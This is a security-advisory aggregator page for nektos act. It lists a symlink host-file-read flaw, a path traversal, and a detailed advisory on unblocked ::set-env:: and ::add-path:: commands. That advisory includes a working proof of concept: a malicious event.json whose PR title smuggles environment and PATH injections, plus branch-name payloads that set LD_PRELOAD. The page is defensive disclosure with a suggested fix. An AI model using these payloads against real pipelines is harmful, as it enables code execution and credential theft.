Where
-Infinity
0

Vendor Risk Score

See how nektos compares to other vendors in security performance

View Risk Score →

Software

Severity
6.8
AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:N

Nektos act 0.2.92 before 0.2.98 contains a link following vulnerability that allows malicious repositories to read host files by setting --eventpath in an untrusted project .actrc to a symlink. Attackers can commit an event.json symlink pointing to files like ~/.ssh/idrsa, which act copies into the job container as GITHUBEVENTPATH for workflow steps to exfiltrate.

First published (updated )
Severity
6.8
AV:L/AC:L/AT:N/PR:N/UI:P/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N

Nektos act 0.2.92 before 0.2.98 contains a link following vulnerability that allows malicious repositories to read host files by setting --eventpath in an untrusted project .actrc to a symlink. Attackers can commit an event.json symlink pointing to files like ~/.ssh/idrsa, which act copies into the job container as GITHUBEVENTPATH for workflow steps to exfiltrate.

First published (updated )
Severity
7.7
Command Injection
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

act unconditionally processes the deprecated ::set-env:: and ::add-path:: workflow commands, which GitHub Actions disabled in October 2020 (CVE-2020-15228, GHSA-mfwh-5m23-j46w) due to environment injection risks. When a workflow step echoes untrusted data to stdout, an attacker can inject these commands to set arbitrary environment variables or modify the PATH for all subsequent steps in the job. This makes act strictly less secure than GitHub Actions for the same workflow file.

Vulnerable Code

pkg/runner/command.go, lines 52-58:

go switch command { case "set-env": rc.setEnv(ctx, kvPairs, arg) case "set-output": rc.setOutput(ctx, kvPairs, arg) case "add-path": rc.addPath(ctx, arg)

There is no check for the ACTIONSALLOWUNSECURECOMMANDS environment variable. The string ACTIONSALLOWUNSECURECOMMANDS does not appear anywhere in the act codebase.

On GitHub Actions, these commands are rejected unless ACTIONSALLOWUNSECURECOMMANDS=true is set:

Error: The set-env command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONSALLOWUNSECURECOMMANDS=true.

PoC: Environment and PATH Injection via PR Title

Tested on: act 0.2.84, Docker Desktop 29.1.2, macOS Darwin 24.5.0

Step 1 — Create a workflow that logs PR metadata:

.github/workflows/vuln.yml: yaml name: Vulnerable Workflow on: [pullrequest]

jobs: build: runs-on: ubuntu-latest steps: - name: Log PR info run: | echo "Processing PR: ${{ github.event.pullrequest.title }}"

- name: Subsequent step - check environment run: | echo "=== Environment Injection Check ===" echo "NODEOPTIONS=$NODEOPTIONS" echo "EVILVAR=$EVILVAR" echo "PATH=$PATH"

Step 2 — Create a malicious event payload:

event.json: json { "pullrequest": { "title": "Fix typo\n::set-env name=EVILVAR::INJECTEDBYATTACKER\n::set-env name=NODEOPTIONS::--require=/tmp/evil.js\n::add-path::/tmp/evil-bin", "number": 1, "head": { "ref": "fix-typo", "sha": "abc123" }, "base": { "ref": "main", "sha": "def456" } } }

Step 3 — Run:

bash git init && git add -A && git commit -m "init" act pullrequest -e event.json

Result:

[Vulnerable Workflow/build] | Processing PR: Fix typo [Vulnerable Workflow/build] ⚙ ::set-env:: EVILVAR=INJECTEDBYATTACKER [Vulnerable Workflow/build] ⚙ ::set-env:: NODEOPTIONS=--require=/tmp/evil.js [Vulnerable Workflow/build] ⚙ ::add-path:: /tmp/evil-bin [Vulnerable Workflow/build] ✅ Success - Main Log PR info

[Vulnerable Workflow/build] | === Environment Injection Check === [Vulnerable Workflow/build] | NODEOPTIONS=--require=/tmp/evil.js [Vulnerable Workflow/build] | EVILVAR=INJECTEDBYATTACKER [Vulnerable Workflow/build] | PATH=/tmp/evil-bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin [Vulnerable Workflow/build] | EXPLOITED: EVILVAR was injected into this step! [Vulnerable Workflow/build] ✅ Success [Vulnerable Workflow/build] 🏁 Job succeeded

All three injections succeeded silently: - EVILVAR=INJECTEDBYATTACKER — arbitrary env var injected into subsequent step - NODEOPTIONS=--require=/tmp/evil.js — Node.js code execution vector - /tmp/evil-bin prepended to PATH — command hijacking vector

Attack Scenarios

Scenario 1: Malicious PR title/body. An attacker opens a PR with ::set-env name=NODEOPTIONS::--require=/tmp/evil.js embedded in the title. If any workflow step echoes the title (common for build summaries, Slack notifications, changelog generation), the injection fires. On GitHub Actions this is blocked. On act, it succeeds.

Scenario 2: Malicious branch name. ${{ github.headref }} is attacker-controlled. A branch named fix-typo%0A::set-env name=LDPRELOAD::/tmp/evil.so can inject LDPRELOAD, which causes every subsequent dynamically-linked binary to load the attacker's shared library.

Scenario 3: Commit message injection. If a step runs git log --oneline and the output flows to stdout, an attacker's commit message containing ::set-env:: commands will be processed.

Impact

- Command injection via env vars: LDPRELOAD, NODEOPTIONS, PYTHONPATH, BASHENV, PERL5OPT all enable arbitrary code execution - PATH hijacking: attacker-controlled directory prepended to PATH hijacks any subsequent command - Cross-step escalation: a step that merely logs untrusted data compromises all subsequent steps - Supply chain risk: workflows that are safe on GitHub Actions become exploitable when run locally with act — developers have a false sense of security

Suggested Fix

Add a check matching GitHub Actions' behavior:

go case "set-env": if rc.Env["ACTIONSALLOWUNSECURECOMMANDS"] != "true" { logger.Errorf("The set-env command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONSALLOWUNSECURECOMMANDS=true") return false } rc.setEnv(ctx, kvPairs, arg) case "add-path": if rc.Env["ACTIONSALLOWUNSECURECOMMANDS"] != "true" { logger.Errorf("The add-path command is disabled. Please upgrade to using Environment Files or opt-in by setting ACTIONSALLOWUNSECURECOMMANDS=true") return false } rc.addPath(ctx, arg)

This is a minimal, backwards-compatible fix — users who genuinely need these deprecated commands can opt in via ACTIONSALLOWUNSECURECOMMANDS=true, matching GitHub's approach.

---

Written by Golan Myers

1 / 2
Source: GitHub
First published (updated )

The artifact server that stores artifacts from GitHub Action runs does not sanitize path inputs. This allows an attacker to download and overwrite arbitrary files on the host from a GitHub Action.

First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203